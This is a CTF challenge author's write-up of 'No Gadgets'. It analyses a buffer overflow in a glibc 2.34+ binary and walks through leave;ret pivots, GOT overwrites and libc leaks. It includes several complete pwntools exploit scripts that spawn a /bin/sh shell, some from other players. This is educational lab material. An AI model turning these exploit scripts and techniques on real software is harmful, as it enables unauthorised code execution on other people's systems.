No Gadgets

ROPing using `leave ; ret` rather than `pop rdi ; ret`

Background

No Gadgets was an easy rated pwn I created for this CTF. The premise was based around the fact that pop rdi ; ret is no longer present in binaries compiled against glibc 2.34+. While a lot of challenges will add this gadget back in manually, I wondered whether you could still solve an overflow challenge without this seemingly essential gadget.

The process of crafting this challenge is what lead me to discover some of the techniques that I've detailed in this section of my blog, including the gets techniques.

I decided that using gets would make the challenge trivial, so I purposefully decided to not use it, instead opting for using leave ; ret to control rbp, which allowed you to get arbitrary writes to the GOT.

Anyways, enough yapping, onto the challenge itself.

Analysis

Analyzing the source code

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define BANNER \
"———————————————————————————————\n" \
"⠀⣞⢽⢪⢣⢣⢣⢫⡺⡵⣝⡮⣗⢷⢽⢽⢽⣮⡷⡽⣜⣜⢮⢺⣜⢷⢽⢝⡽⣝\n" \
"⠸⡸⠜⠕⠕⠁⢁⢇⢏⢽⢺⣪⡳⡝⣎⣏⢯⢞⡿⣟⣷⣳⢯⡷⣽⢽⢯⣳⣫⠇\n" \
"⠀⠀⢀⢀⢄⢬⢪⡪⡎⣆⡈⠚⠜⠕⠇⠗⠝⢕⢯⢫⣞⣯⣿⣻⡽⣏⢗⣗⠏⠀\n" \
"⠀⠪⡪⡪⣪⢪⢺⢸⢢⢓⢆⢤⢀⠀⠀⠀⠀⠈⢊⢞⡾⣿⡯⣏⢮⠷⠁⠀⠀ \n" \
"⠀⠀⠀⠈⠊⠆⡃⠕⢕⢇⢇⢇⢇⢇⢏⢎⢎⢆⢄⠀⢑⣽⣿⢝⠲⠉⠀⠀⠀⠀\n" \
"⠀⠀⠀⠀⠀⡿⠂⠠⠀⡇⢇⠕⢈⣀⠀⠁⠡⠣⡣⡫⣂⣿⠯⢪⠰⠂⠀⠀⠀⠀\n" \
"⠀⠀⠀⠀⡦⡙⡂⢀⢤⢣⠣⡈⣾⡃⠠⠄⠀⡄⢱⣌⣶⢏⢊⠂⠀⠀⠀⠀⠀⠀\n" \
"⠀⠀⠀⠀⢝⡲⣜⡮⡏⢎⢌⢂⠙⠢⠐⢀⢘⢵⣽⣿⡿⠁⠁⠀⠀⠀⠀⠀⠀⠀\n" \
"⠀⠀⠀⠀⠨⣺⡺⡕⡕⡱⡑⡆⡕⡅⡕⡜⡼⢽⡻⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n" \
"⠀⠀⠀⠀⣼⣳⣫⣾⣵⣗⡵⡱⡡⢣⢑⢕⢜⢕⡝⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n" \
"⠀⠀⠀⣴⣿⣾⣿⣿⣿⡿⡽⡑⢌⠪⡢⡣⣣⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n" \
"⠀⠀⠀⡟⡾⣿⢿⢿⢵⣽⣾⣼⣘⢸⢸⣞⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n" \
"⠀⠀⠀⠀⠁⠇⠡⠩⡫⢿⣝⡻⡮⣒⢽⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n" \
"——————————No gadgets?——————————\n"

void setup() {
	setvbuf(stdin, NULL, _IONBF, 0);
	setvbuf(stdout, NULL, _IONBF, 0);
	setvbuf(stderr, NULL, _IONBF, 0);
}

int main() {
	char buf[0x80];
	setup();
	puts(BANNER);
	puts("Welcome to No Gadgets, the ropping experience with absolutely no gadgets!");
	printf("Data: ");
	fgets(buf, 0x1337, stdin);
	if (strlen(buf) > sizeof(buf)) {
		puts("Woah buddy, you've entered so much data that you've reached the point of no return!");
		exit(EXIT_FAILURE);
	} else {
		puts("Pathetic, 'tis but a scratch!");
	}
	return 0;
}

The application is quite simple, it just prompts the user for input, and reads too much data onto the stack leading to a classic buffer overflow. It then checks the string length to check for a buffer overflow, and if an overflow is detected it exits so that main doesn't return. Otherwise it returns normally.

Protections

Running checksec yields:

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)

So we're dealing with pretty standard protections, minus PIE. The lack of canary and PIE will make our overflow feasible, and no NX means no shellcode (oh well, who needs shellcode anyways).

Intended Solution

Disclaimer

The following is my intended solution, however after reading some of the other solutions from other players, I quickly realised that mine was overcomplicated. While they (mostly) used the same techniques that I wanted to cover, they were able to use them in a simpler and more concise way. I will briefly go over a few of them at the end.

Exploitation

Bypass strlen check

The first problem we face is the buffer overflow check, however fortunately for us this is a flimsy check. The string length is the number of bytes before a terminating null byte, however fgets doesn't stop us from writing null bytes of our own, so we could place a null byte at the beginning of the buffer to force strlen to return a value less than 0x80, hence bypassing the check.

Finding gadgets

Gadgets information
============================================================
0x0000000000401077 : add al, 0 ; add byte ptr [rax], al ; jmp 0x401020
0x0000000000401057 : add al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x401020
0x00000000004010eb : add bh, bh ; loopne 0x401155 ; nop ; ret
0x0000000000401037 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x401020
0x0000000000401270 : add byte ptr [rax], al ; add byte ptr [rax], al ; leave ; ret
0x00000000004010b8 : add byte ptr [rax], al ; add byte ptr [rax], al ; nop dword ptr [rax] ; ret
0x0000000000401271 : add byte ptr [rax], al ; add cl, cl ; ret
0x000000000040115a : add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401039 : add byte ptr [rax], al ; jmp 0x401020
0x0000000000401272 : add byte ptr [rax], al ; leave ; ret
0x00000000004010ba : add byte ptr [rax], al ; nop dword ptr [rax] ; ret
0x0000000000401034 : add byte ptr [rax], al ; push 0 ; jmp 0x401020
0x0000000000401044 : add byte ptr [rax], al ; push 1 ; jmp 0x401020
0x0000000000401054 : add byte ptr [rax], al ; push 2 ; jmp 0x401020
0x0000000000401064 : add byte ptr [rax], al ; push 3 ; jmp 0x401020
0x0000000000401074 : add byte ptr [rax], al ; push 4 ; jmp 0x401020
0x0000000000401084 : add byte ptr [rax], al ; push 5 ; jmp 0x401020
0x0000000000401009 : add byte ptr [rax], al ; test rax, rax ; je 0x401012 ; call rax
0x000000000040115b : add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000401273 : add cl, cl ; ret
0x00000000004010ea : add dil, dil ; loopne 0x401155 ; nop ; ret
0x0000000000401047 : add dword ptr [rax], eax ; add byte ptr [rax], al ; jmp 0x401020
0x000000000040115c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401157 : add eax, 0x2f0b ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401067 : add eax, dword ptr [rax] ; add byte ptr [rax], al ; jmp 0x401020
0x0000000000401013 : add esp, 8 ; ret
0x0000000000401012 : add rsp, 8 ; ret
0x00000000004011d3 : call qword ptr [rax + 0x4855c35d]
0x0000000000401010 : call rax
0x0000000000401173 : cli ; jmp 0x401100
0x0000000000401170 : endbr64 ; jmp 0x401100
0x000000000040100e : je 0x401012 ; call rax
0x00000000004010e5 : je 0x4010f0 ; mov edi, 0x404040 ; jmp rax
0x0000000000401127 : je 0x401130 ; mov edi, 0x404040 ; jmp rax
0x000000000040103b : jmp 0x401020
0x0000000000401174 : jmp 0x401100
0x00000000004010ec : jmp rax
0x0000000000401274 : leave ; ret
0x00000000004010ed : loopne 0x401155 ; nop ; ret
0x0000000000401156 : mov byte ptr [rip + 0x2f0b], 1 ; pop rbp ; ret
0x0000000000401062 : mov dl, 0x2f ; add byte ptr [rax], al ; push 3 ; jmp 0x401020
0x000000000040126f : mov eax, 0 ; leave ; ret
0x00000000004010e7 : mov edi, 0x404040 ; jmp rax
0x0000000000401052 : mov edx, 0x6800002f ; add al, byte ptr [rax] ; add byte ptr [rax], al ; jmp 0x401020
0x0000000000401082 : movabs byte ptr [0x56800002f], al ; jmp 0x401020
0x00000000004011d4 : nop ; pop rbp ; ret
0x00000000004010ef : nop ; ret
0x000000000040116c : nop dword ptr [rax] ; endbr64 ; jmp 0x401100
0x00000000004010bc : nop dword ptr [rax] ; ret
0x00000000004010e6 : or dword ptr [rdi + 0x404040], edi ; jmp rax
0x0000000000401158 : or ebp, dword ptr [rdi] ; add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x000000000040115d : pop rbp ; ret
0x0000000000401036 : push 0 ; jmp 0x401020
0x0000000000401046 : push 1 ; jmp 0x401020
0x0000000000401056 : push 2 ; jmp 0x401020
0x0000000000401066 : push 3 ; jmp 0x401020
0x0000000000401076 : push 4 ; jmp 0x401020
0x0000000000401086 : push 5 ; jmp 0x401020
0x0000000000401016 : ret
0x0000000000401042 : ret 0x2f
0x0000000000401022 : retf 0x2f
0x000000000040100d : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x0000000000401279 : sub esp, 8 ; add rsp, 8 ; ret
0x0000000000401278 : sub rsp, 8 ; add rsp, 8 ; ret
0x000000000040100c : test eax, eax ; je 0x401012 ; call rax
0x00000000004010e3 : test eax, eax ; je 0x4010f0 ; mov edi, 0x404040 ; jmp rax
0x0000000000401125 : test eax, eax ; je 0x401130 ; mov edi, 0x404040 ; jmp rax
0x000000000040100b : test rax, rax ; je 0x401012 ; call rax

Unique gadgets found: 68

Due to the program being compiled to run on glibc versions 2.34 and above, the __libc_csu_init function is no longer present, and so most of the useful pop gadgets are gone, like pop rdi ; ret. This stops us using the classic ret2plt attack, where we can call puts on some address containing a libc address, to get a leak. Instead we need to leak libc using ROP in a different way, and for that we need other gadgets.

Most of the gadgets found by ROPgadget aren't very useful, except for leave ; ret. This is a gadget found at the end of some functions, like main in this case, which aids in switching between stack frames. It does this by restoring the old rbp of the calling function (saved base pointer), moving rsp up and returning. leave is effectively

mov rsp, rbp
pop rbp

rbp here points to the saved base pointer, so moving it into rsp allows it to then be popped into rbp. Then the return address is stored directly afterwards, so then the ret returns to the previous code.

Example (some function called by main):

        |------------------------|
        |     return address     |
        |------------------------|
  ----> |   saved base pointer   |
  |     |------------------------|
  |     |                        |
  |     |     char buf[0x80]     |
  |     |                        |
  |     |------------------------|
  |     |     return address     |  <--- [rbp+8]
  |     |------------------------|
  ------|   saved base pointer   |  <--- [rbp]
        |------------------------|
        |                        |
        |     local variables    |
        |                        |
        |------------------------|  <--- [rsp]

After leave ; ret:


        |------------------------|
        |     return address     |  <--- [rbp+8]
        |------------------------|
  ----> |   saved base pointer   |  <--- [rbp]
  |     |------------------------|
  |     |                        |
  |     |     char buf[0x80]     |
  |     |                        |
  |     |------------------------|  <--- [rsp]
  |     |     return address     |
  |     |------------------------|
  ------|   saved base pointer   |
        |------------------------|
        |                        |
        |     local variables    |
        |                        |
        |------------------------|

If you want more info, you can go here.

Rough exploit plan

rbp is used to keep track of where the variables stored in a stack frame are. You can see this in action when looking at the disassembly. The following is from the call to fgets.

The address of the buffer is relative to rbp (as would other variables, if there were others).

In our buffer overflow, we don't only overwrite the return address, but also the saved base pointer, which would then get loaded into rbp, due to leave. So with our overflow, we can control rbp, and we also have the above gadget which writes arbitrary data to the buffer at [rbp-0x80], so combining these theoretically grants an arbitrary write.

But what to overwrite? Remember we don't have a leak, so we're limited to the binary's memory. Recall that the binary has Partial RELRO, which means the GOT is writable!

An appealing target is strlen@GOT, because it's a function that takes one argument: our buffer! So we could either:

  • overwrite strlen@GOT -> puts@PLT and point buf to a GOT entry

  • overwrite strlen@GOT -> printf@PLT and point buf to a format string

Once we have a libc leak, the ret2libc should be trivial, because libc has a pop rdi gadget.

Getting arbitrary writes

So to get an arbitrary write onto strlen@GOT, we'll need to set rbp to &strlen@GOT + 0x80 (since the fgets gadget uses [rbp-0x80]), and rip to the fgets gadget. This is easily done in the first overflow, but then what? Well we'll run through the rest of the main function and hit leave ; ret again. Running through what leave does, we see that it copies rbp to rsp, then pops rbp and rip. Since rbp is 0x80 bytes after our data input, we can use the overflow to control rbp and rip again! (and we can do this for any rbp)

However we run into a problem when going with this approach.

If we wrote to the earliest possible address 0x404000, then rbp = 0x404080. But the entries for stdin, stdout, stderr are between our write and rbp, and since we don't have a libc leak, we can't overwrite these without corrupting them and causing a crash.

This is why we need to make another write to 0x404080 first, to fill in a fake saved rbp and rip.

A naive approach to implement the above could look as follows:

#!/usr/bin/python3
from pwn import *

e = ELF("./vuln")
libc = ELF("./libc.so.6")
p = e.process()

leave_ret = e.sym.main+157
fgets_gadget = e.sym.main+68

overflow  = b"\x00".ljust(0x80, b"A")
overflow += p64(0x404080+0x80)
overflow += p64(fgets_gadget)
p.sendline(overflow)

gdb.attach(p)
fake_rbp_rip  = p64(0xdead) + p64(0xbeef)     # blank for now!
fake_rbp_rip  = fake_rbp_rip.ljust(0x80, b"A")
fake_rbp_rip += p64(0x404000+0x80)
fake_rbp_rip += p64(fgets_gadget)
p.sendline(fake_rbp_rip)

overwrite  = p64(e.plt.puts + 6)
overwrite += p64(e.plt.puts)        # strlen@GOT
overwrite += p64(e.plt.printf + 6)
overwrite += p64(e.plt.fgets + 6)

p.sendline(overwrite)
p.interactive()

This will fail for another reason (which isn't due to my incompetence (hopefully!)), which is easier to see in gdb.

Here we get to the point where we're about to overwrite the GOT with fgets, but see something interesting. Since we've done multiple leaves, we've stack pivoted to the writable region. This on its own isn't a huge deal, but since it's so close to all the important addresses in the GOT, there's a good chance that the stack usage for the call to fgets will clobber them.

And clobber them it does!

So we need to be more careful about where rsp is. Fortunately most functions used in main don't use that much stack space (except for printf, which we can skip), so as long as rsp is further along in the writable region, its stack usage won't clobber anything. We can achieve this by using an extra leave ; ret.

Recall that after leave ; ret, rsp points to directly after the saved rbp and rip (due to popping), and since we want rsp at a higher address, we can place our own saved rbp and rip pairs at high addresses. Then for the initial leave ; ret (at the end of main), we set rbp to point to that pair, and rip to leave ; ret. That way we control rbp and rip, while also having rsp be far enough to prevent clobbering!

Getting libc leak

#!/usr/bin/python3
from pwn import *

e = ELF("./vuln")
libc = ELF("./libc.so.6")
p = e.process()

leave_ret = e.sym.main+157
fgets_gadget = e.sym.main+68

high_addr = 0x404800

overflow  = b"\x00".ljust(0x80, b"A")
overflow += p64(high_addr+0x80)
overflow += p64(fgets_gadget)
p.sendlineafter(b"Data: ", overflow)
p.recvline()


overflow  = b"\x00".ljust(0x80, b"A")
overflow += p64(0x404080+0x80)
overflow += p64(fgets_gadget)
# rbp,rip pair at high address
overflow += p64(0x404000+0x80)
overflow += p64(fgets_gadget)
p.sendline(overflow)
p.recvline()

gdb.attach(p)
fake_rbp_rip  = p64(0xdead) + p64(0xbeef)     # blank for now!
fake_rbp_rip  = fake_rbp_rip.ljust(0x80, b"A")
fake_rbp_rip += p64(high_addr+0x90)
fake_rbp_rip += p64(leave_ret)
p.sendline(fake_rbp_rip)
p.recvline()

overwrite  = p64(e.plt.puts + 6)
overwrite += p64(e.plt.puts)        # strlen@GOT
overwrite += p64(e.plt.printf + 6)
overwrite += p64(e.plt.fgets + 6)

p.sendline(overwrite)

libc_leak = u64(p.recv(6) + b"\x00\x00")
log.info(f"puts: {hex(libc_leak)}")

libc.address = libc_leak - libc.sym.puts
log.info(f"libc: {hex(libc.address)}")

p.interactive()

Applying this gives us the script above, which successfully leaks libc base. We overwrite strlen@GOT to puts@PLT (not printf@PLT because it uses a lot of stack space), and after we overwrite GOT, strlen gets called. The way it's set up is that buf -> puts@GOT, which is now puts@PLT + 6. But when strlen gets called, puts is called, which resolves puts@GOT in time for buf to now point to puts@LIBC, giving us a leak!

And we don't have to worry about the return value being greater than 0x80, because puts returns the number of bytes outputted, which would be 7 (6 for the address, 1 for the newline).

Getting a shell

From here getting a shell is trivial. Since we have libc, we can easily find all the gadgets we need, so all we need is to write another rop chain which calls system("/bin/sh"). In my rop chain I used system, which also uses a lot of stack space, so I made rsp point to a further up location again, but you could just use execv and not face this problem.

Solver

#!/usr/bin/python3
from pwn import *

e = ELF("./vuln")
libc = ELF("./libc.so.6")
p = e.process()

def send(data, prompt=False, leak=False):
    ret = None
    if prompt:
        p.recvuntil(b"Data: ")
    assert b"\n" not in data
    p.sendline(data)
    if leak:
        ret = p.recv(6)
        p.recv(1)   # newline
    p.recvline()
    return ret

got = 0x404000
new_rsp = got+0x800     # sufficiently large to not interfere with GOT
addr_switch = new_rsp + 0x100
# address of final rop chain
# also sufficiently large for system
addr_rop = new_rsp + 0x400

leave_ret = e.sym.main+157
fgets_gadget = e.sym.main+68    # fgets(rbp-0x80, 0x80, stdin) ; strlen(rbp-0x80) ; leave ; ret

# the idea of "switching" is 2 consecutive "leave ; ret" gadgets
# such that rbp is controlled to a value we want
# as our gets_gadget and fgets_gadget relies on rbp
# AND also ensuring rsp is a sufficiently large address
# such that the stack activity in the writable section doesn't interfere with GOT
# or cause a crash

# the first "leave ; ret" sets rbp to point to a pair of "saved rbp | return address"
# stored at `addr_switchX`, and call it new_rbp | new_ret
# and triggers a second "leave ; ret" to then pop new_rbp into rbp, and return to new_ret
# the 2nd "leave ; ret" also sets rsp to `addr_switchX`
# which for our purposes is a sufficiently large address
rbp_rip = lambda rbp, rip: p64(rbp) + p64(rip)
switch = lambda i: rbp_rip(addr_switch+0x10*(i-1), leave_ret)

# setup pivot to writable region
overflow  = b"\x00".ljust(0x80, b"A")
overflow += p64(new_rsp)	    # saved rbp
overflow += p64(fgets_gadget)	# return address
send(overflow, prompt=True)

# rsp -> [stack]
# rbp -> new_rsp
# fgets(rbp-0x80) -> fgets(new_rsp-0x80)

# overflow
data  = b"\x00".ljust(0x80, b"A")
data += rbp_rip(got+0x100, fgets_gadget)
# pad upto addr_switch
data += b"B" * (addr_switch - (new_rsp-0x80+len(data)))
# fgets(got) for a GOT overwrite
data += rbp_rip(got+0x80, fgets_gadget)	        # switch1
# fgets() for final ROP payload
data += rbp_rip(addr_rop, fgets_gadget)	        # switch2
send(data)

# rsp -> new_rsp+0x10 (+0x10 due to "pop rbp" and "ret")
# rbp -> got+0x100
# fgets(rbp-0x80) -> fgets(got+0x80)

# got+0x80
fake_rbp_rip  = switch(2)
# overflow to do switch1
fake_rbp_rip  = fake_rbp_rip.ljust(0x80, b"A")
fake_rbp_rip += switch(1)
send(fake_rbp_rip)

# overwrite GOT
# change strlen@GOT -> puts@PLT
# so that strlen(buf) leaks puts@GOT
overwrite  = p64(e.plt.puts + 6)
overwrite += p64(e.plt.puts)        # strlen@GOT
overwrite += p64(e.plt.printf + 6)
overwrite += p64(e.plt.fgets + 6)

# after overwriting strlen@GOT -> puts@PLT
# the GOT buffer is printed back to us due to strlen(rbp-0x80)
# at the start of the buffer is puts@GOT
# (which is resolved by the time of the call to puts)
# so &puts is leaked
libc_leak = send(overwrite, leak=True)

libc_leak = u64(libc_leak + b"\x00\x00")
log.info(f"puts: {hex(libc_leak)}")

libc.address = libc_leak - libc.sym.puts
log.info(f"libc: {hex(libc.address)}")

# switch(2) is done immediately afterwards
# to then write data to addr_rop

# time for a classic ret2libc
# (addr_rop is sufficiently large enough for system's stack)

pop_rdi = libc.address + 0x2a3e5
ret = pop_rdi + 1

payload  = b"\x00".ljust(0x80, b"A")
payload += p64(0)
payload += p64(pop_rdi) + p64(next(libc.search(b"/bin/sh\x00")))
payload += p64(ret)
payload += p64(libc.sym.system)

send(payload)
p.interactive()

Other solutions

While the above solution works, there's a lot of fiddling around with stack frames, rbp and rsp which makes it a bit clumsy at times.

Many other solutions were able to use the idea of overwriting the GOT in a more effective way. strlen@GOT was still a prime target for overwrites, as I had intended, however the way it was used was interesting.

What caused me problems was that I would overwrite strlen@GOT to point directly to a puts function, which returns normally, then I would reach the end of main, which forced me to use the return address to continue execution, which led to stack fiddling nonsense.

Neatest solution

However many solutions were able to keep rsp on the stack the whole time. My favourite one was by laxa, which overwrote strlen@GOT to the part in main which called printf, without setting arguments.

This allowed them to call printf on the GOT, but was also able to immediately write to the GOT again, as the call to fgets was immediately afterwards. Then with the leak, they could overwrite strlen@GOT again to system.

Fun with (fun)lockfile

The funniest one was one by Nauxuron, which used a quirk of printf that placed a pointer to funlockfile in rdi after returning, so that they could then call puts on that to get a libc leak.

Interestingly when I was designing this challenge, I was using gets, and discovered some nifty unintended solutions which also relied on a certain value being into rdi after a call (to gets in this case), which led to the ret2gets page. While I fixed that, I did not anticipate this happening with printf, because why on earth would this happen??

After looking at glibc source code (yes I was that curious), I found out why. Just like with ret2gets, it's actually to do with unlocking happening at the end of the function, specifically here (and here when buffered).

  _IO_funlockfile (s);
  _IO_cleanup_region_end (0);

  return done;
}

The important macros here are __libc_cleanup_region_start and __libc_cleanup_region_end, defined here.

/* Start critical region with cleanup.  */
#define __libc_cleanup_region_start(DOIT, FCT, ARG)			\
  {   bool _cleanup_start_doit;						\
  struct _pthread_cleanup_buffer _buffer;				\
  /* Non-addressable copy of FCT, so that we avoid indirect calls on	\
     the non-unwinding path.  */					\
  void (*_cleanup_routine) (void *) = (FCT);				\
  _buffer.__arg = (ARG);						\
  if (DOIT)								\
    {									\
      _cleanup_start_doit = true;					\
      _buffer.__routine = _cleanup_routine;				\
      __libc_cleanup_push_defer (&_buffer);				\
    }									\
  else									\
      _cleanup_start_doit = false;

/* End critical region with cleanup.  */
#define __libc_cleanup_region_end(DOIT)		\
  if (_cleanup_start_doit)			\
    __libc_cleanup_pop_restore (&_buffer);	\
  if (DOIT)					\
    _cleanup_routine (_buffer.__arg);		\
  } /* matches __libc_cleanup_region_start */

printf stores a _pthread_cleanup_buffer to keep track of how to cleanup the FILE when the function returns. It does this by storing a cleanup routine, and an argument, which would be the FILE. This is where that happens (in buffered_vfprintf because the challenge unbuffered stdout).

  /* Lock stream.  */
  __libc_cleanup_region_start (1, (void (*) (void *)) &_IO_funlockfile, s);
  _IO_flockfile (s);

Huh look at that, the __routine is _IO_funlockfile, and if we look at _pthread_cleanup_buffer.

/* Cleanup buffers */
struct _pthread_cleanup_buffer
{
  void (*__routine) (void *);             /* Function to call.  */
  void *__arg;                            /* Its argument.  */
  int __canceltype;                       /* Saved cancellation type. */
  struct _pthread_cleanup_buffer *__prev; /* Chaining of cleanup functions.  */
};

The __routine is stored at the start. And lastly, in __libc_cleanup_region_end, there's this line.

    __libc_cleanup_pop_restore (&_buffer);

So this cleanup buffer is passed to a function (that I'm personally surprised isn't inlined), and rdi doesn't get changed at all, so it ends up pointing to the cleanup buffer, with funlockfile being the value it ends up pointing to!

But what about the cleanup routine? Interestingly funlockfile isn't actually executed! The 0 in _IO_cleanup_region_end (0); represents the DOIT parameter, and if it's 0, then the function isn't called.

From what I can see, this behaviour has changed in 2.37, at least this only happens when the application is multithreaded?

Who needs leaks anyway?

This one was by nobodyisnobody (on discord), and it was probably my favourite, simply for how creative it was, and also how it required no leaks at all! It managed to squeeze blood out of the stone that was the limited collection of gadgets available in the binary itself!

It did this with the following gadgets:

0x00000000004010bf : add bl, al ; ... ; ret
0x000000000040115c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x000000000040115d : pop rbp ; ret

By using the above gadgets, they were able to set rbp so that rbp+0x3d pointed to a GOT entry, then using add dword ptr [rbp - 0x3d], they could add values to the GOT entries, instead of overwriting them. This way, you don't need a libc leak, and you can change these functions to point to useful gadgets. However, to be able to do that, we need to be able to control ebx.

That's where the top gadget comes in. You'll notice how I've added the ... which is because this is a fairly long gadget, but not a massively complex one. It's as follows:

Adds al to bl (the lowest 8 bits of the eax and ebx registers respectively), then goes through a nop sled to end up in deregister_tm_clones. This sets eax to 0x404040 (thus setting al to 0x40), then just returns.

It's important to note that rbx and rax are set to 0 when main returns, so the first add does nothing to ebx, but sets al to 0x40. Then if we call this gadget again, we can add 0x40 to bl. Then we could add this to dword ptr [rbp - 0x3d]!

So now we're able to add 0x40, 0x80 or 0xc0 to an arbitrary dword, but how do we use this? After all it's a fairly weak primitive, since we have such limited control over ebx. Wouldn't it be nice if we could get pop rbx?

Well it just so happens, when you add 0x80 to setvbuf, you get:

A pop rbx gadget! Fortunately the previous r13 checks don't pass, so we're able to reach pop rbx. Now with complete control over ebx, we can completely change a GOT entry to system, in this case we do strlen, as our buffer is passed to it.

I cleaned up and slightly modified the script to get the following:

from pwn import *

exe = ELF("./no_gadgets")
libc = ELF("./libc.so.6") # needs debug symbols to know where __strlen_avx2 is
p = exe.process()

pop_rbp = 0x4011d5		# pop rbp ; ret
ret = 0x401016
fgets_gadget = 0x40121b
mov_al_40 = exe.sym.deregister_tm_clones	# mov eax, 0x404040 ; ... ; ret
add_bl_al = 0x4010bf	#  add bl, al ; ... ; mov eax, 0x404040 ; ... ; ret
add_gadget = 0x40115c	# add dword ptr [rbp - 0x3d], ebx ; nop ; ret


payload  = b'A'.ljust(0x80,b'\x00')
# rbp+0x3d = setvbuf@GOT
payload += p64(exe.got['setvbuf']+0x3d)
# setvbuf@GOT = setvbuf + 0x80
payload += p64(mov_al_40)
payload += p64(add_bl_al)*2
payload += p64(add_gadget)
# setvbuf+0x80 effectively does "pop rbx,rbp,r12,r13,r14 ; ret"
payload += p64(exe.sym['setvbuf'])
# ebx = system - setvbuf
payload += p64( (libc.sym['system']-libc.sym['__strlen_avx2']) % (1<<32) )
# rbp+0x3d = strlen@GOT
payload += p64(exe.got['strlen']+0x3d)
# r12,r13,r14
payload += p64(0)*3
# strlen@GOT = system
payload += p64(add_gadget)
# rbp points to something writable
payload += p64(pop_rbp) + p64(0x404e08)
# stack alignment + trigger strlen() on input
payload += p64(ret)
payload += p64(fgets_gadget)

p.sendline(payload)
p.sendline(b"/bin/sh\x00")

p.interactive()

ret2dlresolve

While I didn't see any solutions using this, I always expected that it was possible, but I left it out as I thought it was more complicated than my intended.

Last updated